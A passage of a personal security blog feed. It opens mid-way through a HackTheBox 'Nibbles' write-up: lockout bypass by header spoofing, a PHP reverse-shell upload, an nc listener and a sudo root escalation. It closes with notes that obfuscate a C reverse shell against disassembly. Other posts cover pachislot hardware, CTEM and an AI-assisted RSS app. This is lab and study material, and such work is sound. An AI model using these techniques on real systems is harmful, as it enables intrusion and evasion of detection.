an admin@nibbles.com email.</li> <li><code>/content/private/users.xml</code> shows <code>user username="admin"</code></li> <li>attempting to visit the shadow.php returns a blank page</li> </ul> </li> <li>navigating to <code>/nibbleblog/admin.php</code>. I tried a 5 user/pass combos before my IP was added to the blacklist in <code>/users.xml</code> for 5 minutes. The source code shows get_user_ip() is retrieved as seen below. </li> </ul> </li> </ul> <pre><code class="language-php">public static function get_user_ip() { if(getenv('HTTP_X_FORWARDED_FOR')) $ip = getenv('HTTP_X_FORWARDED_FOR'); elseif(getenv('HTTP_CLIENT_IP')) $ip = getenv('HTTP_CLIENT_IP'); else $ip = getenv('REMOTE_ADDR'); if(filter_var($ip, FILTER_VALIDATE_IP)) return $ip; return getenv('REMOTE_ADDR'); } </code></pre> <ul> <li>We could programatically spoof the HTTP_X_FORWARDED_FOR for brute forcing. </li> <li>Port 22 - ssh - OpenSSH 7.2p2<ul> <li>This version appears to be vulnerable to <code>CVE-2016-6210</code> for username enumeration. This means we can provide a list of usernames and based off timing, determine if the username exists.</li> </ul> </li> </ul> <h2 id="exploitation">Exploitation</h2> <ul> <li>port 80, <code>/nibbleblog/admin.php</code> allows credentials. admin is username, unknown pwd. Has a blacklist feature that uses IP and will prevent requests for 5 minutes if brute force occurs. Checks <code>HTTP_X_FORWARDED_FOR</code> header first for IP, which can be brute forced</li> <li>I attempted with Burp Suite's Intruder to configure a number payload to increase X-Forwarded-For alongside a second payload for using a wordlist for the password. It did succeed without hitting a lockout, however the solution was even simpler. I took a guess and got lucky by using <code>nibbles</code>.</li> <li>Navigating back to <code>/nibbleblog/admin.php?controller=plugins&amp;action=config&amp;plugin=my_image</code>, uploaded the <a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell">php-reverse-shell</a>. It is placed under <code>/nibbleblog/content/private/plugins/my_image/image.php</code></li> <li>started a shell with <code>nc -lvnp 4444</code> and browsed to the /image.php which connected the shell</li> </ul> <h2 id="post-exploitation">Post-Exploitation</h2> <ul> <li>reverse shell is <code>nibbler</code> under <code>/</code></li> <li>user.txt found under /home/nibbler/user.txt</li> <li>upgrade the dumb shell to tty </li> </ul> <pre><code class="language-bash"># after the nc listener has hooked, spawn pseudo shell python3 -c 'import pty; pty.spawn("/bin/bash")' # CTRL + Z to bg the reverse shell echo $TERM # notate the result, i.e xterm-256color stty -a # notate the rows and columns stty raw -echo; fg # enter tty raw mode (which will glitch the ui) export TERM=xterm256-color # use same shell as the $TERM output from #1 stty rows 36 columns 161 # use the rows and column from #2 </code></pre> <h2 id="priv-esc">Priv-esc</h2> <ul> <li><code>sudo -l</code> returns <code>(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh</code></li> <li>this dir/script does not exist, so we should be able to create it and sudo to gain root\</li> </ul> <pre><code class="language-bash">cd ~ mkdir personal &amp;&amp; cd personal mkdir stuff &amp;&amp; cd stuff echo "exec bash" &gt; monitor.sh chmod +x monitor.sh sudo ./monitor.sh </code></pre> <h2 id="root">root</h2> <ul> <li>root granted</li> <li>flag found under <code>/root/root.txt</code></li> </ul> <h2 id="conclusion">Conclusion</h2> <p>Pretty good box! The enumeration phase took me the longest, especially trying to figure out how to get into the admin portal. From there, exploitation and priv esc were super easy. Nice first machine back on HackTheBox!</p>2026-05-26T16:00:00-04:002026-05-27T02:27:31.015670-04:00Eric Turnertag:blog.ericturner.it,2026-05-26:/2026/05/26/pachislot/

<p>A different type of reverse engineering challenge. Over the weekend, I obtained a Japanese pachislo/pachislot (パチスロ) machine. These machines are similar in nature to US slots, but are refered to as "skill-stop" machines. They allow the player to click a button to individually stop each slot …</p>

<p>A different type of reverse engineering challenge. Over the weekend, I obtained a Japanese pachislo/pachislot (パチスロ) machine. These machines are similar in nature to US slots, but are refered to as "skill-stop" machines. They allow the player to click a button to individually stop each slot reel in attempt to get the required combination.</p> <p>This machine came with no manual; I scoured the internet, but there are few places that document these machines on English google, with the exception of some very specific forums such as <a href="https://pachitalk.com">PachiTalk</a>. This post serves as a spot for me to document some of the findings as I've been analyzing the machine and trying to gather information into one place. Something interesting to note, <a href="https://www.cas.go.jp/jp/seisaku/hourei/data/PC.pdf">gambling is generally illegal per Article 23 of Japan's Criminal Code</a>. Pachislot machines are the loophole as they don't use real currency, but instead tokens, like you'd see at arcades.</p> <h2 id="model-information">Model Information</h2> <p>The following information is based off of my machine from the various labels. From what I have gathered, many machines of a certain era / manufacturer appear to be relatively similar, with just the visual imagery changed to different themes. I'm unsure of how universal the below is across all machines.</p> <p>This particular model has the lucky 777 branding all over it. It is the prized combination for the slots and bonus modes. This machine details an ANT (Assist Navigation Time) mode for high payouts.</p> <ul> <li><strong>Mfr</strong>: Daido Co. Ltd (株式会社ダイド&mdash;)</li> <li><strong>Patent</strong>: SANKYO</li> <li><strong>Mfr Date</strong>: 2001 / 03</li> <li><strong>Model</strong>: Hanafuda (ハナフダ)</li> <li><strong>Frame Model</strong>: P112</li> <li><strong>Management Number</strong>: D101-1</li> <li><strong>Type</strong>: 4th Generation Pachislot (パチスロ4号機)</li> </ul> <h2 id="patent">Patent</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2026/0004854865-3.png"/></p> <p><a href="https://patents.google.com/patent/JP4854865B2">Patent #JP4854865B2</a> that I found was pretty helpful in identifying some of the boards/switches. I use <code>PT#</code> to reference the above marking from the patent in sections below.</p> <h2 id="exterior-overview">Exterior Overview</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2026/pachislo.svg"/> Pictured is an SVG that I recreated of the exterior of my machine. I chose SVG as it's scalable, lightweight, and makes it easier to reference the specific components of the machine. I created a shortcode with the prefix <code>EXT</code> for use in referencing the specific elements elsewhere in this article.</p> <ol> <li><code>EXT-1</code> Bonus Slots<ul> <li>These light up if in a bonus mode or ANT mode. The ideal item to have here is "shichi" 七, or 7, lining up with the machine's 777 themes. </li> </ul> </li> <li><code>EXT-2</code> Winning Combinations<ul> <li>This section shows all the combinations to get and the payouts. Most payouts are only 10 or 15 tokens. A special butterfly symbol can be collected 3x to trigger a REPLAY round, which does not use a token.</li> </ul> </li> <li><code>EXT-3</code> ANT (Assist) Mode Combinations<ul> <li>Symbols that lightup on the left and right. Matching the lit symbol to the closest main slot wheel can guarantee triggering the bonus mode</li> </ul> </li> <li><code>EXT-4</code> Main Slots<ul> <li>The three main slots, that are started by <code>EXT-10</code> and stopped by the respective button in <code>EXT-11</code></li> </ul> </li> <li><code>EXT-5</code> Credit Display<ul> <li>Main display shows the number of tokens that are available in the pool, up to 50</li> <li>Four symbols to the right of the display indicate various statuses. From top left to bottom right:<ul> <li><code>再</code> Replay mode, allows a free game without spending a token <code>PT150</code></li> <li><code>始</code> Start - Lever is ready to pull to begin game <code>PT170</code></li> <li><code>待</code> Wait - Machine enters a waiting state and requires reset via the key (have not personally triggered this yet)</li> <li><code>投入</code> Insert Tokens - flashes to indicate more tokens can be added to bank / start game</li> </ul> </li> </ul> </li> <li><code>EXT-6</code> Game Score<ul> <li>Main display to show tokens from bonus rounds</li> <li>Three symbols to the right indicate the number of tokens bet for this round:<ul> <li><code>壱</code> 1 token <code>PT210</code></li> <li><code>弐</code> 2 tokens <code>PT220a</code></li> <li><code>参</code> 3 tokens <code>PT230a</code></li> </ul> </li> <li>Generally, you should always use 3 tokens per round for the chance to enter ANT or get a Big Bonus</li> </ul> </li> <li><code>EXT-7</code> Payout Display<ul> <li>Display which indicates the number of tokens won this round. If the credit display (<code>EXT-5</code>) is less than 50, these tokens can be added directly to the banked credits.</li> </ul> </li> <li><code>EXT-8</code> Cashout Button <code>PT450</code><ul> <li>Button immediately dispenses all tokens listed under Credits <code>EXT-5</code> and/or Winnings <code>EXT-7</code></li> </ul> </li> <li><code>EXT-9</code> Credit Selection Buttons<ul> <li>Buttons to select either 1 token or 3 tokens (MAX) from banked credits for this round</li> </ul> </li> <li><code>EXT-10</code> Start Game Lever<ul> <li>Pull lever to start the slots</li> </ul> </li> <li><code>EXT-11</code> Slot Stop Buttons<ul> <li>Button to slot each respective slot wheel</li> </ul> </li> <li><code>EXT-12</code> Token Entry Slot<ul> <li>Insert tokens here for play</li> </ul> </li> <li><code>EXT-13</code> Identification Label<ul> <li>Manufacturing label which shows varying information such as model, serial number and more</li> </ul> </li> <li><code>EXT-14</code> Authenticity Label<ul> <li>Label which shows patent holder and manufacturer</li> </ul> </li> <li><code>EXT-15</code> Token Collection Tray<ul> <li>Tray for holding excess tokens / cashed winnings</li> </ul> </li> </ol> <h2 id="interior">Interior</h2> <h3 id="power-supply">Power Supply</h3> <p><img alt="" src="https://blog.ericturner.it/uploads/2026/pachislo_power.svg"/> On the interior, there are several boards that control various functions of the system. From what I can tell, many of these components are shared in all machines to control the "brains". The power supply is unique (to me) as it contains several switches for additional functions. Any references to this chart will have the <code>PWR-</code> prefix.</p> <ol> <li><code>PWR-1</code> <code>設定キー</code> Settings Key <code>PT622</code><ul> <li>Either requires a physical key or is a toggle switch</li> <li>This being set to ON will allow configuration, such as changing payout rates.</li> <li>In my testing, it requires a specific sequence of steps to properly activate.</li> </ul> </li> <li><code>PWR-2</code> <code>精算</code> Settlement Switch<ul> <li>Have not seen a diference in changing this. Per the <em>Pachislo Slot Machine Operation Manual</em>, "On most machines, there will be two slider type switches on the power supply that are labeled with Japanese writing. These were for use in the Japanese casino and have been disabled. These were used to notify casino personnel that the machine was either out of coins or the overflow tray was full. The position of these switches will not affect the operation of your machine"</li> <li>The <a href="https://patents.google.com/patent/JP4854865B2">patent</a> describes that the switch detects the operation of <code>EXT-8</code>. Perhaps toggling this off means this button ceases to work?</li> </ul> </li> <li><code>PWR-3</code> <code>打止め</code> Stop Toggle<ul> <li>See above. I assume it has something to do with the stopping the machine after a certain amount of bonuses for topping up overflow. </li> </ul> </li> <li><code>PWR-4</code> <code>リセット</code> Reset<ul> <li>Appears to be for resetting machine to factory settings</li> </ul> </li> <li><code>PWR-5</code> <code>設定</code> Settings Button<ul> <li>used to set payout level</li> </ul> </li> <li><code>PWR-6</code> <code>設定</code> Main Power <code>PT624</code><ul> <li>activates power to the machine</li> </ul> </li> </ol> <h3 id="inner-workings">Inner Workings</h3> <p>Various parts I've identified</p> <ul> <li>Bulbs<ul> <li>#400 28v 3w Wedge Base Light bulb for the various lights<ul> <li>Also appears #2841 24v 3w Wedge bulb can be used</li> <li>10mm diameter, 2.1mm wedge base depth, 9.5mm wedge base width</li> </ul> </li> </ul> </li> <li> <p>Boards</p> <ul> <li>SG011D/SG011E - Stop Reel Board (I have SG011E, which looks identical to SG011D. Assuming it&rsquo;s the same board)<ul> <li>G1CN1 - 30 pin plug to T2CN2 on 112T012C</li> </ul> </li> <li>SP021B - Power Supply <code>PT102</code><ul> <li>P1CN3 - 18 pin plug to S1CN1 on 11206A1C</li> </ul> </li> <li>SA021E - ??? Board<ul> <li>A1CN1 - 26 pin plug to S1CN2 on 11206A1C</li> </ul> </li> <li>11206A1C - Main Board <code>PT100</code><ul> <li>S1CN1 - 18 pin plug to P1CN3 on SP021B</li> <li>S1CN2 - 26 pin plug to A1CN1 on SAO21E</li> <li>S1CN3 - 40 pin plug to T2CN1 on 112T012C</li> <li>S1CN4 - 50 pin plug to T3CN9 on 112T013B</li> </ul> </li> <li>112T013B - LCD Display Board<ul> <li>T3CN9 - 50 pin plug to S1CN4 on 11206A1C</li> </ul> </li> <li>112T012C - Reel Relay Board <code>PT103a</code><ul> <li>T2CN1 - 40 pin plug to S1CN3 on 11206A1C</li> <li>T2CN2 - 30 pin plug to G1CN1 on SG011E</li> <li>T2CN6 - 2 pin to Hopper Full Sensor <code>PT611</code></li> </ul> </li> <li>112T014B<ul> <li>T4CN1 - 4 pin to Left SL011B</li> <li>T4CN2 - 4 pin to Middle SL011B</li> <li>T4CN2 - 4 pin to Right SL011B</li> </ul> </li> <li>3x SL011B - Reel Lamp Relay Boards <code>PT103B</code></li> </ul> </li> </ul>2026-05-23T15:06:00-04:002026-05-23T19:12:12.141434-04:00Eric Turnertag:blog.ericturner.it,2026-05-23:/2026/05/23/hackbook/

<p>Today I launched <a href="https://hackbook.ericturner.it">Hackbook</a> to have a place to store my notes for offensive security techniques that I acquire. My goal is to eventually take the OSCP, and hope to have a nice notebook of findings to help me with the killchain.</p> <p>I used OpenAI Codex to help convert this …</p>

<p>Today I launched <a href="https://hackbook.ericturner.it">Hackbook</a> to have a place to store my notes for offensive security techniques that I acquire. My goal is to eventually take the OSCP, and hope to have a nice notebook of findings to help me with the killchain.</p> <p>I used OpenAI Codex to help convert this blog (specifically the sidebar) into a hierarchical view for browsing the notes. Also added a master cheatsheet component, so any code blocks nested in the pages will get pulled out into a master cheatsheet. </p> <p>Hackbook also has the latest MITRE ATT&amp;CK 19.1 matrix, which I hope to link specific techniques directly to MITRE for easy reference.</p> <p>I hope to slowly work on filling that out over the coming months!</p>2026-05-17T20:36:00-04:002026-05-18T00:53:33.417044-04:00Eric Turnertag:blog.ericturner.it,2026-05-17:/2026/05/17/new-blog-2026/

<p>This marks the debut of my redesigned blog. My prior blog was ran on Wordpress with multiple plugins for enhancing security: filtering spam, blocking malicious admin logins, filtering malicious comments, backup jobs, auto-update jobs, analytics, asynchronous password protection. Unfortunately with AI, search crawlers and legitimate users, it kept hitting the …</p>

<p>This marks the debut of my redesigned blog. My prior blog was ran on Wordpress with multiple plugins for enhancing security: filtering spam, blocking malicious admin logins, filtering malicious comments, backup jobs, auto-update jobs, analytics, asynchronous password protection. Unfortunately with AI, search crawlers and legitimate users, it kept hitting the resource cap constantly and DoSing my site. I have years of emails from Wordpress that my blog was falling offline and it's due to too many concurrent sessions and php processes consuming resources.</p> <p>Using Claude to help with the UI and migration, I have pulled all my images and blog posts from Wordpress, compressed and reformatted them, and converted into a static site. My hope is to now have 100% uptime and tightened security. The beauty of static sites means no external comments to moderate, no login panels or plugin updates, it's just pure HTML. It should also be lightning fast compared to the Wordpress site, as it needs to load significantly less external resources and has no database communications needed to present content.</p> <p>I also was careful to ensure the URL scheme exactly matched Wordpress' format, so all the external links referencing certain blog posts will resolve as if there was only a fresh coat of paint applied and not a complete overhaul of the entire infrastructure.</p> <p>There's currently no search functionality, but the Archives link in the sidebar will help list all articles chronilogically. I will investigate bringing some sort of search functionality back that will work with static sites.</p>2025-06-22T21:01:00-04:002026-05-17T14:03:45.439866-04:00Eric Turnertag:blog.ericturner.it,2025-06-22:/2025/06/22/continuous-threat-exposure-management/

<p>I recently <a href="https://www.credly.com/badges/1bccd16f-90cb-4010-847f-d91111b7548e/public_url">earned a certificate</a> in exposure management and here&rsquo;s some of the key takeaways. Cyber teams now have a broad attack surface with assets ranging from on-prem to IoT and cloud solutions. Traditional vulnerability management simply can&rsquo;t keep up. That&rsquo;s where exposure management steps in: it …</p>

<p>I recently <a href="https://www.credly.com/badges/1bccd16f-90cb-4010-847f-d91111b7548e/public_url">earned a certificate</a> in exposure management and here&rsquo;s some of the key takeaways. Cyber teams now have a broad attack surface with assets ranging from on-prem to IoT and cloud solutions. Traditional vulnerability management simply can&rsquo;t keep up. That&rsquo;s where exposure management steps in: it combines threat context, asset criticality, and automated validation to focus your efforts on what really matters.</p> <h2 id="what-is-exposure-management-introducing-ctem">What Is Exposure Management? Introducing CTEM</h2> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/06/img_5912-1.webp"/></p> <p>Gartner coined Continuous Threat Exposure Management (CTEM) to describe a cyclical, risk-driven process involving five stages:</p> <p><strong>Scoping</strong> &ndash; Identify the attack surface and high-value assets</p> <p><strong>Discovery</strong> &ndash; Detect vulnerabilities, misconfigurations, identity gaps</p> <p><strong>Prioritization</strong> &ndash; Score exposures based on CVSS/EPSS, asset importance, and threat intel</p> <p><strong>Validation</strong> &ndash; Use BAS, pentesting, or attack simulations to confirm exploitability</p> <p><strong>Mobilization</strong> &ndash; Automate remediation workflows and measure outcomes&nbsp;</p> <p>By 2026, Gartner predicts organizations embracing CTEM will be three times less likely to suffer a breach (<a href="https://www.gartner.com/en/articles/how-to-manage-cybersecurity-threats-not-episodes">source</a>).</p> <h2 id="building-an-exposure-management-program">Building an Exposure Management Program</h2> <p>Let&rsquo;s break down the five stages above into actionable steps:</p> <p>1. Scoping &amp; Asset Categorization</p> <p>Group assets by business importance: External, Critical Infra, Legacy Define pilot domains (e.g., customer-facing servers)</p> <p>2. Discovery &amp; Filtering</p> <p>Scan using a vulnerability scanner (Rapid7 / Tenable) or endpoint solution (Ivanti / Crowdstrike) to automatically find assets connected to the network</p> <p>3. Risk Scoring</p> <p>Merge CVSS/EPSS, threat intel (KEV), exploit availability, and asset criticality to create an overall exposure score</p> <p>4. Validation</p> <p>Trigger purple team / attack simulations against prioritized flaws to confirm attack paths, success of remediation and resiliency</p> <p>5. Mobilization &amp; Reporting</p> <p>Auto-generate tickets with context and score Track KPIs: Mean Exposure Score, Time-to-remediate, patch coverage Governance: Align with NIST CSF / SP 800‑53 control objectives</p> <p>Potential Accompanying Tools</p> <ul> <li>External Attack Surface Management (EASM)</li> <li>Exposure Assessment Platforms (EAP) &ndash; Contextual scanning, threat intel integration&nbsp;</li> <li>Adversarial Exposure Validation (AEV) &ndash; BAS + automated red teaming&nbsp;</li> </ul> <h2 id="evidence-backed-enhancements">Evidence-Backed Enhancements</h2> <p>A recent academic model, Vulnerability Management Chaining, combines KEV, EPSS, and CVSS to reduce remediations by 95% while maintaining 85% threat coverage&nbsp;.(<a href="https://arxiv.org/abs/2506.01220">source</a>)</p> <h2 id="summary">Summary</h2> <p>It&rsquo;s more important than ever to evolve existing vulnerability management programs into exposure management. The continual cycle of assessing risk based on business needs and criticality, alongside validation of risk using attack simulations, greatly improves the over security of the organization and puts you on a better path to prevent a breach.</p>2025-03-29T21:45:22-04:002026-05-17T14:03:45.472939-04:00Eric Turnertag:blog.ericturner.it,2025-03-29:/2025/03/29/web-dev-rss-reader-app-02/

<p>GitHub:&nbsp;<a href="https://github.com/EricTurner3/simple-react-rss-reader">EricTurner3/simple-react-rss-reader</a> </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-13.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-10.webp"/></p> <p>Drag and drop UI</p> <p>I recently stumbled upon <a href="https://www.cursor.com/">Cursor - The AI Code Editor</a>. It essentially is VS Code powered by Claude for GPT enhancements. The unique thing about this AI is taht it has your entire multi-file codebase as context and can easily search and modify the …</p>

<p>GitHub:&nbsp;<a href="https://github.com/EricTurner3/simple-react-rss-reader">EricTurner3/simple-react-rss-reader</a> </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-13.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-10.webp"/></p> <p>Drag and drop UI</p> <p>I recently stumbled upon <a href="https://www.cursor.com/">Cursor - The AI Code Editor</a>. It essentially is VS Code powered by Claude for GPT enhancements. The unique thing about this AI is taht it has your entire multi-file codebase as context and can easily search and modify the code when a request is entered:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-11.webp"/></p> <p>The issues I was having with Gemini or GPT-4o had to do with the fact it only had context from a single file. When changes needed to be made to another file, it seemed to lose context and then would start hallucinating variable names.<br/> Here's another example where it used <code>grep</code> on my codebase for a specific function name, and then made changes in multiple files to support the new code: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-12.webp"/></p> <p>Another powerful feature was lint validation. After making changes, it would do another pass to see if any lint was throwing validation warnings or errors and keep looping through as many files as it needed to in order to fix the issues. Thanks to Cursor, it seamlessly generated the backend files with a MongoDB connector. I also had it start over on the front end, hook up the front end to the backend (which it did via the api file) and implement drag and drop, which Gemini and GPT-4o both had issues with. </p> <p>Cursor is a very cool application that can easily turn an idea into a fully functional web application without the user needing to edit much code at all. I still find it is very helpful to know how to read errors and read through some of the code yourself. I ended up getting stuck in an edit loop where Cursor was changing back and forth between using MongoDB's <code>_id</code> as a primary key and <code>id</code> as a primary and it would cause the APIs to 404. I had to specifically tell the AI to use <code>_id</code> for certain fields. I also had to specifically guide it to certain functions I found in source documents to help it implement, otherwise it had tried using deprecated functions or functionality that didn't work as intended. </p> <p>Another super cool thing that only took about another two hours was converting the application into a containerized version. Now with a simple <code>docker-compose up --build</code> the application is ready to go out of the box to setup all dependencies and networking among the database, backend and frontend.</p>2025-03-20T20:43:32-04:002026-05-17T14:03:45.471936-04:00Eric Turnertag:blog.ericturner.it,2025-03-20:/2025/03/20/web-dev-rss-reader-app-01/

<p>GitHub: <a href="https://github.com/EricTurner3/simple-react-rss-reader">EricTurner3/simple-react-rss-reader</a></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/front_end_20Mar2025.webp"/></p> <p>I have a few goals with this project that I've already spent several hours on over the past few nights.</p> <h2 id="1-testing-out-ai-based-tools-for-code-generation-and-guidance">1. Testing out AI based tools for code generation and guidance</h2> <p>Gemini released the new <a href="https://gemini.google/overview/canvas/">Canvas</a> tool a few days ago which immediately blew my mind. You …</p>

<p>GitHub: <a href="https://github.com/EricTurner3/simple-react-rss-reader">EricTurner3/simple-react-rss-reader</a></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/front_end_20Mar2025.webp"/></p> <p>I have a few goals with this project that I've already spent several hours on over the past few nights.</p> <h2 id="1-testing-out-ai-based-tools-for-code-generation-and-guidance">1. Testing out AI based tools for code generation and guidance</h2> <p>Gemini released the new <a href="https://gemini.google/overview/canvas/">Canvas</a> tool a few days ago which immediately blew my mind. You can give it a prompt and it can not only generate the code but it can also show an interactable preview using mock data. It was very fascinating to me in how this was possible from the one page of code it displays. As I quickly found out if you set up a local project and copy paste the code, the code is either riddled with errors and/or it's missing a bunch of other things such as dependencies and other project files. I'm not quite sure how they are pulling off the front-end preview using just the code snippet provided, it took me several iterations and prompts to get a good template for just the App.tsx in my app. I spent several hours figuring out the best frontend framework and dependencies to get the app working. Some of the code it generates is calling libraries and components that aren't always documented, and I had to do a bit of research to figure out if they were real or imagined. Other times, the code is out of order. It calls a variable that is only set later on. Simply reordering the code in a function fixed some of the errors. Overall, there were just a bunch of little things that required me to prompt for more help to figure out what it was trying to do so I could fix it. I also relied on OpenAI's GPT-4o mini and VS Code's CoPilot to help assist to see if either of those models could help fix some of the errors.</p> <p>Once the main application was built, I found that you can't ask Gemini to make small changes and keep going. The next iteration could completely change variable names or churn out a completely different application with similar parameters, as seen below. I wanted the number of unread items from an RSS feed to show as badges in the sidebar. I was under the impression it used prior context to continue the conversation, but it was not the case, and I instead got a chat message application. </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-8.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-6.webp"/></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-7.webp"/></p> <p>I found when I wanted to explain and work on specific pieces of code, GPT-4o mini was much better at determining context and doing follow-up actions. But Gemini did a great job in getting most of the boilerplate, even though I had to go back through and fix a number of errors</p> <h2 id="2-learning-about-the-mern-mean-stack">2. Learning about the MERN / MEAN stack</h2> <p>During my time as a full-stack developer, I had built a custom PHP back-end framework that handled routing, database connections and so forth. I never had a true front-end framework such as React or Vue, and instead created my own templating engine using Bootstrap templates and injecting PHP into them. If I needed to reuse a card, I would have a <code>card.php</code> component that could be imported and called multiple times. It was very similar to React, but completely of my own design (and lacking in as nuanced of features and optimizations.</p> <p>This stack is completely based in JavaScript for both front-end, React, and back-end, NodeJS / Express. When Gemini first created some of the code for the front end, I was immediately aware of my lack of knowledge in this framework. Items such as interfaces, presences and contexts that I was unaware how they functioned or related to each other. It's been a journey fixing the errors from AI generated code and having a multitude of tabs open to reference some of the dependencies to determine how things should be built. At one point I was trying to do a drag and drop system over multiple contexts and quickly realized that was far out of my scope and to instead just use arrows to move an item up or down an index or to another list was fine for me.</p> <p>So far, I have a working alpha prototype (seen at the top of this page) that allows the end user to add RSS feeds, assign them to folders and mark items as read. There are still some bugs, and all data is currently only stored in local storage. Occasionally the feed list seems to wipe itself, it might be something to do with states or contexts that I'm not fully knowledgeable about yet.</p> <h2 id="3-containerization">3. Containerization</h2> <p>As I mentioned above, all data is stored in the local storage in the browser, which is not something I want to do. I'd like data to be stored in a database, so it persists if the browser is closed down or wiped. I don't currently have plans for any sort of multi-user authentication system or anything, as this project is purely meant to load from publicly available RSS Feeds. I also don't think it's helpful to have a full-stack project and then require an end user to have to run a bunch of commands to properly configure the backend and database. I have not built docker containers myself before, but I have used them from other open-source projects. My end goal is to have a full web app that can be ran from a simple docker compose command and immediately allow the user to add and save data into a MongoDB database as easy as possible. After that, we can look into any future enhancements.</p>2025-03-15T19:12:23-04:002026-05-19T17:46:08.860087-04:00Eric Turnertag:blog.ericturner.it,2025-03-15:/2025/03/15/malware-dev-chapter-06-anti-disassembly-strategies/

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <h1 id="opcode-assembly-obfuscation">Opcode / Assembly Obfuscation</h1> <p>The main point of opcode obfuscation is to make it harder for the analyst to decompile the code. Other sources seem to refer to this as directly making changes to the assembly or …</p>

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <h1 id="opcode-assembly-obfuscation">Opcode / Assembly Obfuscation</h1> <p>The main point of opcode obfuscation is to make it harder for the analyst to decompile the code. Other sources seem to refer to this as directly making changes to the assembly or binary in order to obfuscate. The book instead just adds junk code - code that runs a bunch of mathematical calculations but serves no other purpose - just to obfuscate. While I definitely see junk code as a method of obfuscation for a decompiler, I'm not sure it meets the actual definition of assembly obfuscation. </p> <p>Nonetheless, using the reverse shell from Ch 1, a new function is added and called within main() to run a bunch of random math calculations. The author runs this code at the end of the program, after the reverse shell process has been created. I don't like this approach. Instead, I call this function first, and then also randomly again a few times during the reverse shell setup. Thus, if someone is line by line debugging with x64dbg, they have to go through a bunch of junk before seeing what really occurs. This should hopefully create a bunch of JMP instructions to keep breaking the debugger into doing math.</p> <p>Reverse shell works fine. Throwing this into ghidra, not much really seems to be obfuscated by just adding extra function calls like this. It would be more useful to mask some of the strings or calls used to set up the reverse listener than the extra junk code. </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image.webp"/></p> <p>I renamed the functions for main and junk. The true intent is still rather obvious, however it did take a bit to find this function as ghidra's entry point was not the actual main function.</p> <h1 id="function-call-obfuscation">Function Call Obfuscation</h1> <p>Because I never read the full chapter first and work step by step, this next section appears to fix some of the issues of the first obfuscation. Instead of directly calling functions from the ws2_32 library, we use function pointer types and GetProcAddress to dynamically load the proper functions.</p> <p>At the top, use the windows app documentation to rebuild the function calls we want to use.</p> <ul> <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup">WSAStartup function (winsock.h) - Win32 apps | Microsoft Learn</a></li> <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa">WSASocketA function (winsock2.h) - Win32 apps | Microsoft Learn</a></li> <li><a href="https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect">WSAConnect function (winsock2.h) - Win32 apps | Microsoft Learn</a></li> </ul> <pre><code class="language-c">typedef int (WSAAPI *WSAStartup_t)(WORD, LPWSADATA); typedef SOCKET (WSAAPI *WSASocket_t)(int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD); typedef int (WSAAPI *WSAConnect_t)(SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS); </code></pre> <p>Then in the main function, we use our definitions along with <code>GetProcAddress</code> to dynamically resolve the real function calls:</p> <pre><code class="language-c">HMODULE hWS2_32 = LoadLibrary("ws2_32.dll"); WSAStartup_t st = (WSAStartup_t)GetProcAddress(hWS2_32, "WSAStartup"); WSASocket_t so = (WSASocket_t)GetProcAddress(hWS2_32, "WSASocketA"); WSAConnect_t co = (WSAConnect_t)GetProcAddress(hWS2_32, "WSAConnect"); </code></pre> <p>One other trick I performed was removing the hardcoded <code>4444</code> port but instead used a function to do a bunch of garbage math to return the port for later use:</p> <pre><code class="language-c">int wow(){ int number = 8888; int number2 = 6666; int number3 = 9999; number = number * 2; number = number / 4; number3 = number3 / 3; number2 = number * number3; number3 = number2 - number; return number; } </code></pre> <p>Compiled and ran on the target machine, reverse shell pops fine.</p> <p>Using Ghidra, we can see it is a bit more involved to reverse. The port is passed to htons, but it has to go into another function to determine what value this is. Using similar tactics of nesting all important strings in functions could help here:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-1.webp"/></p> <h1 id="function-hashing">Function Hashing</h1> <p>This chapter doesn't dive into the algorithm, but provides a PowerShell script that allows you to pass in the Win32 function name, such as CreateProcess, and it then returns a hash ID. This is further expanded upon in C code, with another function <code>getAPIAddr</code> to confirm if the hash matches the function address being searched. This function is not explained at this time.</p> <p>However, it is used to replace the CreateProcess function call using a hashed value. I took this a step further and calculated hashes to the other WSAStartup, Socket, Connect functions and used the hashing here as well. The source code provided by the author tries to directly call <code>(char *)"kernel32"</code>which does not work for me. I needed to use LoadLibrary and also ensure <code>#include &lt;windows.h&gt;</code> was at the top.</p> <p>As a side note, I have also seen this before during my <a href="https://blog.ericturner.it/2025/01/08/hackthebox-sherlock-lovely-malware/">Lovely Malware</a> reverse engineering.</p> <p>After using API hashing for several of the main functions, our reverse shell connects fine like usual.</p> <p>Opening up Ghidra, things are definitely 